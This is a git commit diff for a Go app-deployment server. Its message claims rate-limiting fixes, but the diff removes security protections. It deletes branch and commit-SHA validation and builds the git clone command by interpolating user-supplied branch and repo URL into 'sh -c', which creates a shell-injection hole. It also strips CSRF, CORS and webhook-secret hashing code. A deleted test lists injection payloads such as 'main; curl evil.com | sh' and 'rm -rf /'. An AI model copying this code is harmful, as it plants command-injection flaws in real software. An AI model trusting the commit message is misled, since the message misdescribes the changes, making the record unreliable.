fix: add eviction for stale IP rate limiter entries and Retry-After header

- Store lastSeen timestamp per IP limiter entry - Lazy sweep removes entries older than 10 minutes on each request - Add Retry-After header to 429 responses - Add test for stale entry eviction Fixes memory leak under sustained attack from many IPs.
Add rate limiting to login endpoint to prevent brute force
2026-02-15 14:18:07 -08:00 · 2026-02-15 14:04:52 -08:00
60 changed files with 627 additions and 3880 deletions
--- a/.gitea/workflows/check.yml
+++ b/.gitea/workflows/check.yml
@@ -1,26 +0,0 @@
-name: Check
-
-on:
-  push:
-    branches: [main]
-  pull_request:
-    branches: [main]
-
-jobs:
-  check:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
-
-      - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5
-        with:
-          go-version-file: go.mod
-
-      - name: Install golangci-lint
-        run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@5d1e709b7be35cb2025444e19de266b056b7b7ee # v2.10.1
-
-      - name: Install goimports
-        run: go install golang.org/x/tools/cmd/goimports@009367f5c17a8d4c45a961a3a509277190a9a6f0 # v0.42.0
-
-      - name: Run make check
-        run: make check
--- a/TODO.md
+++ b/TODO.md
@@ -0,0 +1,312 @@
+# UPAAS Implementation Plan
+
+## Feature Roadmap
+
+### Core Infrastructure
+- [x] Uber fx dependency injection
+- [x] Chi router integration
+- [x] Structured logging (slog) with TTY detection
+- [x] Configuration via Viper (env vars, config files)
+- [x] SQLite database with embedded migrations
+- [x] Embedded templates (html/template)
+- [x] Embedded static assets (Tailwind CSS, JS)
+- [x] Server startup (`Server.Run()`)
+- [x] Graceful shutdown (`Server.Shutdown()`)
+- [x] Route wiring (`SetupRoutes()`)
+
+### Authentication & Authorization
+- [x] Single admin user model
+- [x] Argon2id password hashing
+- [x] Initial setup flow (create admin on first run)
+- [x] Cookie-based session management (gorilla/sessions)
+- [x] Session middleware for protected routes
+- [x] Login/logout handlers
+- [ ] API token authentication (for JSON API)
+
+### App Management
+- [x] Create apps with name, repo URL, branch, Dockerfile path
+- [x] Edit app configuration
+- [x] Delete apps (cascades to related entities)
+- [x] List all apps on dashboard
+- [x] View app details
+- [x] Per-app SSH keypair generation (Ed25519)
+- [x] Per-app webhook secret (UUID)
+
+### Container Configuration
+- [x] Environment variables (add, delete per app)
+- [x] Docker labels (add, delete per app)
+- [x] Volume mounts (add, delete per app, with read-only option)
+- [x] Docker network configuration per app
+- [ ] Edit existing environment variables
+- [ ] Edit existing labels
+- [ ] Edit existing volume mounts
+- [ ] CPU/memory resource limits
+
+### Deployment Pipeline
+- [x] Manual deploy trigger from UI
+- [x] Repository cloning via Docker git container
+- [x] SSH key authentication for private repos
+- [x] Docker image building with configurable Dockerfile
+- [x] Container creation with env vars, labels, volumes
+- [x] Old container removal before new deployment
+- [x] Deployment status tracking (building, deploying, success, failed)
+- [x] Deployment logs storage
+- [x] View deployment history per app
+- [x] Container logs viewing
+- [ ] Deployment rollback to previous image
+- [ ] Deployment cancellation
+
+### Manual Container Controls
+- [x] Restart container
+- [x] Stop container
+- [x] Start stopped container
+
+### Webhook Integration
+- [x] Gitea webhook endpoint (`/webhook/:secret`)
+- [x] Push event parsing
+- [x] Branch extraction from refs
+- [x] Branch matching (only deploy configured branch)
+- [x] Webhook event audit log
+- [x] Automatic deployment on matching webhook
+- [ ] Webhook event history UI
+- [ ] GitHub webhook support
+- [ ] GitLab webhook support
+
+### Health Monitoring
+- [x] Health check endpoint (`/health`)
+- [x] Application uptime tracking
+- [x] Docker container health status checking
+- [x] Post-deployment health verification (60s delay)
+- [ ] Custom health check commands per app
+
+### Notifications
+- [x] ntfy integration (HTTP POST)
+- [x] Slack-compatible webhook integration
+- [x] Build start/success/failure notifications
+- [x] Deploy success/failure notifications
+- [x] Priority mapping for notification urgency
+
+### Observability
+- [x] Request logging middleware
+- [x] Request ID generation
+- [x] Sentry error reporting (optional)
+- [x] Prometheus metrics endpoint (optional, with basic auth)
+- [ ] Structured logging for all operations
+- [ ] Deployment count/duration metrics
+- [ ] Container health status metrics
+- [ ] Webhook event metrics
+- [ ] Audit log table for user actions
+
+### API
+- [ ] JSON API (`/api/v1/*`)
+- [ ] List apps endpoint
+- [ ] Get app details endpoint
+- [ ] Create app endpoint
+- [ ] Delete app endpoint
+- [ ] Trigger deploy endpoint
+- [ ] List deployments endpoint
+- [ ] API documentation
+
+### UI Features
+- [x] Server-rendered HTML templates
+- [x] Dashboard with app list
+- [x] App creation form
+- [x] App detail view with all configurations
+- [x] App edit form
+- [x] Deployment history page
+- [x] Login page
+- [x] Setup page
+- [ ] Container logs page
+- [ ] Webhook event history page
+- [ ] Settings page (webhook secret, SSH public key)
+- [ ] Real-time deployment log streaming (WebSocket/SSE)
+
+### Future Considerations
+- [ ] Multi-user support with roles
+- [ ] Private Docker registry authentication
+- [ ] Scheduled deployments
+- [ ] Backup/restore of app configurations
+
+---
+
+## Phase 1: Critical (Application Cannot Start)
+
+### 1.1 Server Startup Infrastructure
+- [x] Implement `Server.Run()` in `internal/server/server.go`
+  - Start HTTP server with configured address/port
+  - Handle TLS if configured
+  - Block until shutdown signal received
+- [x] Implement `Server.Shutdown()` in `internal/server/server.go`
+  - Graceful shutdown with context timeout
+  - Close database connections
+  - Stop running containers gracefully (optional)
+- [x] Implement `SetupRoutes()` in `internal/server/routes.go`
+  - Wire up chi router with all handlers
+  - Apply middleware (logging, auth, CORS, metrics)
+  - Define public vs protected route groups
+  - Serve static assets and templates
+
+### 1.2 Route Configuration
+```
+Public Routes:
+  GET  /health
+  GET  /setup, POST /setup
+  GET  /login, POST /login
+  POST /webhook/:secret
+
+Protected Routes (require auth):
+  GET  /logout
+  GET  /dashboard
+  GET  /apps/new, POST /apps
+  GET  /apps/:id, POST /apps/:id, DELETE /apps/:id
+  GET  /apps/:id/edit, POST /apps/:id/edit
+  GET  /apps/:id/deployments
+  GET  /apps/:id/logs
+  POST /apps/:id/env-vars, DELETE /apps/:id/env-vars/:id
+  POST /apps/:id/labels, DELETE /apps/:id/labels/:id
+  POST /apps/:id/volumes, DELETE /apps/:id/volumes/:id
+  POST /apps/:id/deploy
+```
+
+## Phase 2: High Priority (Core Functionality Gaps)
+
+### 2.1 Container Logs
+- [x] Implement `HandleAppLogs()` in `internal/handlers/app.go`
+  - Fetch logs via Docker API (`ContainerLogs`)
+  - Support tail parameter (last N lines)
+  - Stream logs with SSE or chunked response
+- [x] Add Docker client method `GetContainerLogs(containerID, tail int) (io.Reader, error)`
+
+### 2.2 Manual Container Controls
+- [x] Add `POST /apps/:id/restart` endpoint
+  - Stop and start container
+  - Record restart in deployment log
+- [x] Add `POST /apps/:id/stop` endpoint
+  - Stop container without deleting
+  - Update app status
+- [x] Add `POST /apps/:id/start` endpoint
+  - Start stopped container
+  - Run health check
+
+## Phase 3: Medium Priority (UX Improvements)
+
+### 3.1 Edit Operations for Related Entities
+- [ ] Add `PUT /apps/:id/env-vars/:id` endpoint
+  - Update existing environment variable value
+  - Trigger container restart with new env
+- [ ] Add `PUT /apps/:id/labels/:id` endpoint
+  - Update existing Docker label
+- [ ] Add `PUT /apps/:id/volumes/:id` endpoint
+  - Update volume mount paths
+  - Validate paths before saving
+
+### 3.2 Deployment Rollback
+- [ ] Add `previous_image_id` column to apps table
+  - Store last successful image ID before new deploy
+- [ ] Add `POST /apps/:id/rollback` endpoint
+  - Stop current container
+  - Start container with previous image
+  - Create deployment record for rollback
+- [ ] Update deploy service to save previous image before building new one
+
+### 3.3 Deployment Cancellation
+- [ ] Add cancellation context to deploy service
+- [ ] Add `POST /apps/:id/deployments/:id/cancel` endpoint
+- [ ] Handle cleanup of partial builds/containers
+
+## Phase 4: Lower Priority (Nice to Have)
+
+### 4.1 JSON API
+- [ ] Add `/api/v1` route group with JSON responses
+- [ ] Implement API endpoints mirroring web routes:
+  - `GET /api/v1/apps` - list apps
+  - `POST /api/v1/apps` - create app
+  - `GET /api/v1/apps/:id` - get app details
+  - `DELETE /api/v1/apps/:id` - delete app
+  - `POST /api/v1/apps/:id/deploy` - trigger deploy
+  - `GET /api/v1/apps/:id/deployments` - list deployments
+- [ ] Add API token authentication (separate from session auth)
+- [ ] Document API in README
+
+### 4.2 Resource Limits
+- [ ] Add `cpu_limit` and `memory_limit` columns to apps table
+- [ ] Add fields to app edit form
+- [ ] Pass limits to Docker container create
+
+### 4.3 UI Improvements
+- [ ] Add webhook event history page
+  - Show received webhooks per app
+  - Display match/no-match status
+- [ ] Add settings page
+  - View/regenerate webhook secret
+  - View SSH public key
+- [ ] Add real-time deployment log streaming
+  - WebSocket or SSE for live build output
+
+### 4.4 Observability
+- [ ] Add structured logging for all operations
+- [ ] Add Prometheus metrics for:
+  - Deployment count/duration
+  - Container health status
+  - Webhook events received
+- [ ] Add audit log table for user actions
+
+## Phase 5: Future Considerations
+
+- [ ] Multi-user support with roles
+- [ ] Private Docker registry authentication
+- [ ] Custom health check commands per app
+- [ ] Scheduled deployments
+- [ ] Backup/restore of app configurations
+- [ ] GitHub/GitLab webhook support (in addition to Gitea)
+
+---
+
+## Implementation Notes
+
+### Server.Run() Example
+```go
+func (s *Server) Run() error {
+    s.SetupRoutes()
+
+    srv := &http.Server{
+        Addr:    s.config.ListenAddr,
+        Handler: s.router,
+    }
+
+    go func() {
+        <-s.shutdownCh
+        ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+        defer cancel()
+        srv.Shutdown(ctx)
+    }()
+
+    return srv.ListenAndServe()
+}
+```
+
+### SetupRoutes() Structure
+```go
+func (s *Server) SetupRoutes() {
+    r := chi.NewRouter()
+
+    // Global middleware
+    r.Use(s.middleware.RequestID)
+    r.Use(s.middleware.Logger)
+    r.Use(s.middleware.Recoverer)
+
+    // Public routes
+    r.Get("/health", s.handlers.HandleHealthCheck())
+    r.Get("/login", s.handlers.HandleLoginPage())
+    // ...
+
+    // Protected routes
+    r.Group(func(r chi.Router) {
+        r.Use(s.middleware.SessionAuth)
+        r.Get("/dashboard", s.handlers.HandleDashboard())
+        // ...
+    })
+
+    s.router = r
+}
+```
--- a/go.mod
+++ b/go.mod
@@ -5,11 +5,9 @@ go 1.25
 require (
 	github.com/99designs/basicauth-go v0.0.0-20230316000542-bf6f9cbbf0f8
 	github.com/docker/docker v27.3.1+incompatible
-	github.com/docker/go-connections v0.6.0
 	github.com/go-chi/chi/v5 v5.2.3
 	github.com/go-chi/cors v1.2.2
 	github.com/google/uuid v1.6.0
-	github.com/gorilla/csrf v1.7.3
 	github.com/gorilla/sessions v1.4.0
 	github.com/joho/godotenv v1.5.1
 	github.com/mattn/go-sqlite3 v1.14.32
@@ -29,6 +27,7 @@ require (
 	github.com/containerd/log v0.1.0 // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/distribution/reference v0.6.0 // indirect
+	github.com/docker/go-connections v0.6.0 // indirect
 	github.com/docker/go-units v0.5.0 // indirect
 	github.com/felixge/httpsnoop v1.0.4 // indirect
 	github.com/fsnotify/fsnotify v1.9.0 // indirect
--- a/go.sum
+++ b/go.sum
@@ -50,8 +50,6 @@ github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
 github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
 github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
 github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/gorilla/csrf v1.7.3 h1:BHWt6FTLZAb2HtWT5KDBf6qgpZzvtbp9QWDRKZMXJC0=
-github.com/gorilla/csrf v1.7.3/go.mod h1:F1Fj3KG23WYHE6gozCmBAezKookxbIvUJT+121wTuLk=
 github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA=
 github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo=
 github.com/gorilla/sessions v1.4.0 h1:kpIYOp/oi6MG/p5PgxApU8srsSw9tuFbt46Lt7auzqQ=
--- a/internal/config/config.go
+++ b/internal/config/config.go
@@ -51,8 +51,7 @@ type Config struct {
 	MaintenanceMode bool
 	MetricsUsername string
 	MetricsPassword string
-	SessionSecret   string `json:"-"`
-	CORSOrigins     string
+	SessionSecret   string
 	params          *Params
 	log             *slog.Logger
 }
@@ -103,7 +102,6 @@ func setupViper(name string) {
 	viper.SetDefault("METRICS_USERNAME", "")
 	viper.SetDefault("METRICS_PASSWORD", "")
 	viper.SetDefault("SESSION_SECRET", "")
-	viper.SetDefault("CORS_ORIGINS", "")
 }

 func buildConfig(log *slog.Logger, params *Params) (*Config, error) {
@@ -138,7 +136,6 @@ func buildConfig(log *slog.Logger, params *Params) (*Config, error) {
 		MetricsUsername: viper.GetString("METRICS_USERNAME"),
 		MetricsPassword: viper.GetString("METRICS_PASSWORD"),
 		SessionSecret:   viper.GetString("SESSION_SECRET"),
-		CORSOrigins:     viper.GetString("CORS_ORIGINS"),
 		params:          params,
 		log:             log,
 	}
--- a/internal/database/database.go
+++ b/internal/database/database.go
@@ -3,9 +3,7 @@ package database

 import (
 	"context"
-	"crypto/sha256"
 	"database/sql"
-	"encoding/hex"
 	"fmt"
 	"log/slog"
 	"os"
@@ -160,65 +158,6 @@ func (d *Database) connect(ctx context.Context) error {
 		return fmt.Errorf("failed to run migrations: %w", err)
 	}

-	// Backfill webhook_secret_hash for any rows that have a secret but no hash
-	err = d.backfillWebhookSecretHashes(ctx)
-	if err != nil {
-		return fmt.Errorf("failed to backfill webhook secret hashes: %w", err)
-	}
-
-	return nil
-}
-
-// HashWebhookSecret returns the hex-encoded SHA-256 hash of a webhook secret.
-func HashWebhookSecret(secret string) string {
-	sum := sha256.Sum256([]byte(secret))
-
-	return hex.EncodeToString(sum[:])
-}
-
-func (d *Database) backfillWebhookSecretHashes(ctx context.Context) error {
-	rows, err := d.database.QueryContext(ctx,
-		"SELECT id, webhook_secret FROM apps WHERE webhook_secret_hash = '' AND webhook_secret != ''")
-	if err != nil {
-		return fmt.Errorf("querying apps for backfill: %w", err)
-	}
-
-	defer func() { _ = rows.Close() }()
-
-	type row struct {
-		id, secret string
-	}
-
-	var toUpdate []row
-
-	for rows.Next() {
-		var r row
-
-		scanErr := rows.Scan(&r.id, &r.secret)
-		if scanErr != nil {
-			return fmt.Errorf("scanning app for backfill: %w", scanErr)
-		}
-
-		toUpdate = append(toUpdate, r)
-	}
-
-	rowsErr := rows.Err()
-	if rowsErr != nil {
-		return fmt.Errorf("iterating apps for backfill: %w", rowsErr)
-	}
-
-	for _, r := range toUpdate {
-		hash := HashWebhookSecret(r.secret)
-
-		_, updateErr := d.database.ExecContext(ctx,
-			"UPDATE apps SET webhook_secret_hash = ? WHERE id = ?", hash, r.id)
-		if updateErr != nil {
-			return fmt.Errorf("updating webhook_secret_hash for app %s: %w", r.id, updateErr)
-		}
-
-		d.log.Info("backfilled webhook_secret_hash", "app_id", r.id)
-	}
-
 	return nil
 }

--- a/internal/database/hash_test.go
+++ b/internal/database/hash_test.go
@@ -1,28 +0,0 @@
-package database_test
-
-import (
-	"testing"
-
-	"github.com/stretchr/testify/assert"
-
-	"git.eeqj.de/sneak/upaas/internal/database"
-)
-
-func TestHashWebhookSecret(t *testing.T) {
-	t.Parallel()
-
-	// Known SHA-256 of "test-secret"
-	hash := database.HashWebhookSecret("test-secret")
-	assert.Equal(t,
-		"9caf06bb4436cdbfa20af9121a626bc1093c4f54b31c0fa937957856135345b6",
-		hash,
-	)
-
-	// Different secrets produce different hashes
-	hash2 := database.HashWebhookSecret("other-secret")
-	assert.NotEqual(t, hash, hash2)
-
-	// Same secret always produces same hash (deterministic)
-	hash3 := database.HashWebhookSecret("test-secret")
-	assert.Equal(t, hash, hash3)
-}
--- a/internal/database/migrations/005_add_webhook_secret_hash.sql
+++ b/internal/database/migrations/005_add_webhook_secret_hash.sql
@@ -1,2 +0,0 @@
-- Add webhook_secret_hash column for constant-time secret lookup
-ALTER TABLE apps ADD COLUMN webhook_secret_hash TEXT NOT NULL DEFAULT '';
--- a/internal/database/migrations/006_add_previous_image_id.sql
+++ b/internal/database/migrations/006_add_previous_image_id.sql
@@ -1,2 +0,0 @@
-- Add previous_image_id to apps for deployment rollback support
-ALTER TABLE apps ADD COLUMN previous_image_id TEXT;
--- a/internal/docker/client.go
+++ b/internal/docker/client.go
@@ -10,14 +10,12 @@ import (
 	"log/slog"
 	"os"
 	"path/filepath"
-	"regexp"
 	"strconv"
 	"strings"

 	"github.com/docker/docker/api/types"
 	"github.com/docker/docker/api/types/container"
 	"github.com/docker/docker/api/types/filters"
-	"github.com/docker/docker/api/types/image"
 	"github.com/docker/docker/api/types/mount"
 	"github.com/docker/docker/api/types/network"
 	"github.com/docker/docker/client"
@@ -48,18 +46,6 @@ var ErrNotConnected = errors.New("docker client not connected")
 // ErrGitCloneFailed is returned when git clone fails.
 var ErrGitCloneFailed = errors.New("git clone failed")

-// ErrInvalidBranch is returned when a branch name contains invalid characters.
-var ErrInvalidBranch = errors.New("invalid branch name")
-
-// ErrInvalidCommitSHA is returned when a commit SHA is not a valid hex string.
-var ErrInvalidCommitSHA = errors.New("invalid commit SHA")
-
-// validBranchRe matches safe git branch names.
-var validBranchRe = regexp.MustCompile(`^[a-zA-Z0-9._/\-]+$`)
-
-// validCommitSHARe matches a full-length hex commit SHA.
-var validCommitSHARe = regexp.MustCompile(`^[0-9a-f]{40}$`)
-
 // Params contains dependencies for Client.
 type Params struct {
 	fx.In
@@ -444,15 +430,6 @@ func (c *Client) CloneRepo(
 	ctx context.Context,
 	repoURL, branch, commitSHA, sshPrivateKey, containerDir, hostDir string,
 ) (*CloneResult, error) {
-	// Validate inputs to prevent shell injection
-	if !validBranchRe.MatchString(branch) {
-		return nil, fmt.Errorf("%w: %q", ErrInvalidBranch, branch)
-	}
-
-	if commitSHA != "" && !validCommitSHARe.MatchString(commitSHA) {
-		return nil, fmt.Errorf("%w: %q", ErrInvalidCommitSHA, commitSHA)
-	}
-
 	if c.docker == nil {
 		return nil, ErrNotConnected
 	}
@@ -480,20 +457,6 @@ func (c *Client) CloneRepo(
 	return c.performClone(ctx, cfg)
 }

-// RemoveImage removes a Docker image by ID or tag.
-// It returns nil if the image was successfully removed or does not exist.
-func (c *Client) RemoveImage(ctx context.Context, imageID string) error {
-	_, err := c.docker.ImageRemove(ctx, imageID, image.RemoveOptions{
-		Force:         true,
-		PruneChildren: true,
-	})
-	if err != nil && !client.IsErrNotFound(err) {
-		return fmt.Errorf("failed to remove image %s: %w", imageID, err)
-	}
-
-	return nil
-}
-
 func (c *Client) performBuild(
 	ctx context.Context,
 	opts BuildImageOptions,
@@ -621,39 +584,39 @@ func (c *Client) createGitContainer(
 ) (string, error) {
 	gitSSHCmd := "ssh -i /keys/deploy_key -o StrictHostKeyChecking=no"

-	// Build the git command using environment variables to avoid shell injection.
-	// Arguments are passed via env vars and quoted in the shell script.
-	var script string
+	// Build the git command based on whether we have a specific commit SHA
+	var cmd []string
+
+	var entrypoint []string
+
 	if cfg.commitSHA != "" {
 		// Clone without depth limit so we can checkout any commit, then checkout specific SHA
-		script = `git clone --branch "$CLONE_BRANCH" "$CLONE_URL" /repo` +
-			` && cd /repo && git checkout "$CLONE_SHA"` +
-			` && echo COMMIT:$(git rev-parse HEAD)`
+		// Using sh -c to run multiple commands - need to clear entrypoint
+		// Output "COMMIT:<sha>" marker at end for parsing
+		script := fmt.Sprintf(
+			"git clone --branch %s %s /repo && cd /repo && git checkout %s && echo COMMIT:$(git rev-parse HEAD)",
+			cfg.branch, cfg.repoURL, cfg.commitSHA,
+		)
+		entrypoint = []string{}
+		cmd = []string{"sh", "-c", script}
 	} else {
 		// Shallow clone of branch HEAD, then output commit SHA
-		script = `git clone --depth 1 --branch "$CLONE_BRANCH" "$CLONE_URL" /repo` +
-			` && cd /repo && echo COMMIT:$(git rev-parse HEAD)`
+		// Using sh -c to run multiple commands
+		script := fmt.Sprintf(
+			"git clone --depth 1 --branch %s %s /repo && cd /repo && echo COMMIT:$(git rev-parse HEAD)",
+			cfg.branch, cfg.repoURL,
+		)
+		entrypoint = []string{}
+		cmd = []string{"sh", "-c", script}
 	}

-	env := []string{
-		"GIT_SSH_COMMAND=" + gitSSHCmd,
-		"CLONE_URL=" + cfg.repoURL,
-		"CLONE_BRANCH=" + cfg.branch,
-	}
-	if cfg.commitSHA != "" {
-		env = append(env, "CLONE_SHA="+cfg.commitSHA)
-	}
-
-	entrypoint := []string{}
-	cmd := []string{"sh", "-c", script}
-
 	// Use host paths for Docker bind mounts (Docker runs on the host, not in our container)
 	resp, err := c.docker.ContainerCreate(ctx,
 		&container.Config{
 			Image:      gitImage,
 			Entrypoint: entrypoint,
 			Cmd:        cmd,
-			Env:        env,
+			Env:        []string{"GIT_SSH_COMMAND=" + gitSSHCmd},
 			WorkingDir: "/",
 		},
 		&container.HostConfig{
--- a/internal/docker/validation_test.go
+++ b/internal/docker/validation_test.go
@@ -1,148 +0,0 @@
-package docker //nolint:testpackage // tests unexported regexps and Client struct
-
-import (
-	"errors"
-	"log/slog"
-	"testing"
-)
-
-func TestValidBranchRegex(t *testing.T) {
-	t.Parallel()
-
-	valid := []string{
-		"main",
-		"develop",
-		"feature/my-feature",
-		"release-1.0",
-		"v1.2.3",
-		"fix/issue_42",
-		"my.branch",
-	}
-	for _, b := range valid {
-		if !validBranchRe.MatchString(b) {
-			t.Errorf("expected branch %q to be valid", b)
-		}
-	}
-
-	invalid := []string{
-		"main; curl evil.com | sh",
-		"branch$(whoami)",
-		"branch`id`",
-		"branch && rm -rf /",
-		"branch | cat /etc/passwd",
-		"",
-		"branch name with spaces",
-		"branch\nnewline",
-	}
-	for _, b := range invalid {
-		if validBranchRe.MatchString(b) {
-			t.Errorf("expected branch %q to be invalid (potential injection)", b)
-		}
-	}
-}
-
-func TestValidCommitSHARegex(t *testing.T) {
-	t.Parallel()
-
-	valid := []string{
-		"abc123def456789012345678901234567890abcd",
-		"0000000000000000000000000000000000000000",
-		"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-	}
-	for _, s := range valid {
-		if !validCommitSHARe.MatchString(s) {
-			t.Errorf("expected SHA %q to be valid", s)
-		}
-	}
-
-	invalid := []string{
-		"short",
-		"abc123",
-		"ABCDEF1234567890123456789012345678901234", // uppercase
-		"abc123def456789012345678901234567890abcd; rm -rf /",
-		"$(whoami)000000000000000000000000000000000",
-		"",
-	}
-	for _, s := range invalid {
-		if validCommitSHARe.MatchString(s) {
-			t.Errorf("expected SHA %q to be invalid (potential injection)", s)
-		}
-	}
-}
-
-func TestCloneRepoRejectsInjection(t *testing.T) { //nolint:funlen // table-driven test
-	t.Parallel()
-
-	c := &Client{
-		log: slog.Default(),
-	}
-
-	tests := []struct {
-		name      string
-		branch    string
-		commitSHA string
-		wantErr   error
-	}{
-		{
-			name:    "shell injection in branch",
-			branch:  "main; curl evil.com | sh #",
-			wantErr: ErrInvalidBranch,
-		},
-		{
-			name:    "command substitution in branch",
-			branch:  "$(whoami)",
-			wantErr: ErrInvalidBranch,
-		},
-		{
-			name:    "backtick injection in branch",
-			branch:  "`id`",
-			wantErr: ErrInvalidBranch,
-		},
-		{
-			name:      "injection in commitSHA",
-			branch:    "main",
-			commitSHA: "not-a-sha; rm -rf /",
-			wantErr:   ErrInvalidCommitSHA,
-		},
-		{
-			name:      "short SHA rejected",
-			branch:    "main",
-			commitSHA: "abc123",
-			wantErr:   ErrInvalidCommitSHA,
-		},
-		{
-			name:      "valid inputs pass validation (hit NotConnected)",
-			branch:    "main",
-			commitSHA: "abc123def456789012345678901234567890abcd",
-			wantErr:   ErrNotConnected,
-		},
-		{
-			name:    "valid branch no SHA passes validation (hit NotConnected)",
-			branch:  "main",
-			wantErr: ErrNotConnected,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Parallel()
-
-			_, err := c.CloneRepo(
-				t.Context(),
-				"git@example.com:repo.git",
-				tt.branch,
-				tt.commitSHA,
-				"fake-key",
-				"/tmp/container",
-				"/tmp/host",
-			)
-			if err == nil {
-				t.Fatal("expected error, got nil")
-			}
-
-			if !errors.Is(err, tt.wantErr) {
-				t.Errorf("expected error %v, got %v", tt.wantErr, err)
-			}
-		})
-	}
-}
--- a/internal/handlers/api.go
+++ b/internal/handlers/api.go
@@ -1,384 +0,0 @@
-package handlers
-
-import (
-	"encoding/json"
-	"net/http"
-	"strconv"
-
-	"github.com/go-chi/chi/v5"
-
-	"git.eeqj.de/sneak/upaas/internal/models"
-	"git.eeqj.de/sneak/upaas/internal/service/app"
-)
-
-// apiAppResponse is the JSON representation of an app.
-type apiAppResponse struct {
-	ID             string `json:"id"`
-	Name           string `json:"name"`
-	RepoURL        string `json:"repoUrl"`
-	Branch         string `json:"branch"`
-	DockerfilePath string `json:"dockerfilePath"`
-	Status         string `json:"status"`
-	WebhookSecret  string `json:"webhookSecret"`
-	SSHPublicKey   string `json:"sshPublicKey"`
-	CreatedAt      string `json:"createdAt"`
-	UpdatedAt      string `json:"updatedAt"`
-}
-
-// apiDeploymentResponse is the JSON representation of a deployment.
-type apiDeploymentResponse struct {
-	ID         int64  `json:"id"`
-	AppID      string `json:"appId"`
-	CommitSHA  string `json:"commitSha,omitempty"`
-	Status     string `json:"status"`
-	Duration   string `json:"duration,omitempty"`
-	StartedAt  string `json:"startedAt"`
-	FinishedAt string `json:"finishedAt,omitempty"`
-}
-
-func appToAPI(a *models.App) apiAppResponse {
-	return apiAppResponse{
-		ID:             a.ID,
-		Name:           a.Name,
-		RepoURL:        a.RepoURL,
-		Branch:         a.Branch,
-		DockerfilePath: a.DockerfilePath,
-		Status:         string(a.Status),
-		WebhookSecret:  a.WebhookSecret,
-		SSHPublicKey:   a.SSHPublicKey,
-		CreatedAt:      a.CreatedAt.Format("2006-01-02T15:04:05Z"),
-		UpdatedAt:      a.UpdatedAt.Format("2006-01-02T15:04:05Z"),
-	}
-}
-
-func deploymentToAPI(d *models.Deployment) apiDeploymentResponse {
-	resp := apiDeploymentResponse{
-		ID:        d.ID,
-		AppID:     d.AppID,
-		Status:    string(d.Status),
-		Duration:  d.Duration(),
-		StartedAt: d.StartedAt.Format("2006-01-02T15:04:05Z"),
-	}
-
-	if d.CommitSHA.Valid {
-		resp.CommitSHA = d.CommitSHA.String
-	}
-
-	if d.FinishedAt.Valid {
-		resp.FinishedAt = d.FinishedAt.Time.Format("2006-01-02T15:04:05Z")
-	}
-
-	return resp
-}
-
-// HandleAPILoginPOST returns a handler that authenticates via JSON credentials
-// and sets a session cookie.
-func (h *Handlers) HandleAPILoginPOST() http.HandlerFunc {
-	type loginResponse struct {
-		UserID   int64  `json:"userId"`
-		Username string `json:"username"`
-	}
-
-	return func(writer http.ResponseWriter, request *http.Request) {
-		var req map[string]string
-
-		decodeErr := json.NewDecoder(request.Body).Decode(&req)
-		if decodeErr != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "invalid JSON body"},
-				http.StatusBadRequest)
-
-			return
-		}
-
-		username := req["username"]
-		credential := req["password"]
-
-		if username == "" || credential == "" {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "username and password are required"},
-				http.StatusBadRequest)
-
-			return
-		}
-
-		user, authErr := h.auth.Authenticate(request.Context(), username, credential)
-		if authErr != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "invalid credentials"},
-				http.StatusUnauthorized)
-
-			return
-		}
-
-		sessionErr := h.auth.CreateSession(writer, request, user)
-		if sessionErr != nil {
-			h.log.Error("api: failed to create session", "error", sessionErr)
-			h.respondJSON(writer, request,
-				map[string]string{"error": "failed to create session"},
-				http.StatusInternalServerError)
-
-			return
-		}
-
-		h.respondJSON(writer, request, loginResponse{
-			UserID:   user.ID,
-			Username: user.Username,
-		}, http.StatusOK)
-	}
-}
-
-// HandleAPIListApps returns a handler that lists all apps as JSON.
-func (h *Handlers) HandleAPIListApps() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		apps, err := h.appService.ListApps(request.Context())
-		if err != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "failed to list apps"},
-				http.StatusInternalServerError)
-
-			return
-		}
-
-		result := make([]apiAppResponse, 0, len(apps))
-		for _, a := range apps {
-			result = append(result, appToAPI(a))
-		}
-
-		h.respondJSON(writer, request, result, http.StatusOK)
-	}
-}
-
-// HandleAPIGetApp returns a handler that gets a single app by ID.
-func (h *Handlers) HandleAPIGetApp() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-
-		application, err := h.appService.GetApp(request.Context(), appID)
-		if err != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "internal server error"},
-				http.StatusInternalServerError)
-
-			return
-		}
-
-		if application == nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "app not found"},
-				http.StatusNotFound)
-
-			return
-		}
-
-		h.respondJSON(writer, request, appToAPI(application), http.StatusOK)
-	}
-}
-
-// HandleAPICreateApp returns a handler that creates a new app.
-func (h *Handlers) HandleAPICreateApp() http.HandlerFunc {
-	type createRequest struct {
-		Name           string `json:"name"`
-		RepoURL        string `json:"repoUrl"`
-		Branch         string `json:"branch"`
-		DockerfilePath string `json:"dockerfilePath"`
-		DockerNetwork  string `json:"dockerNetwork"`
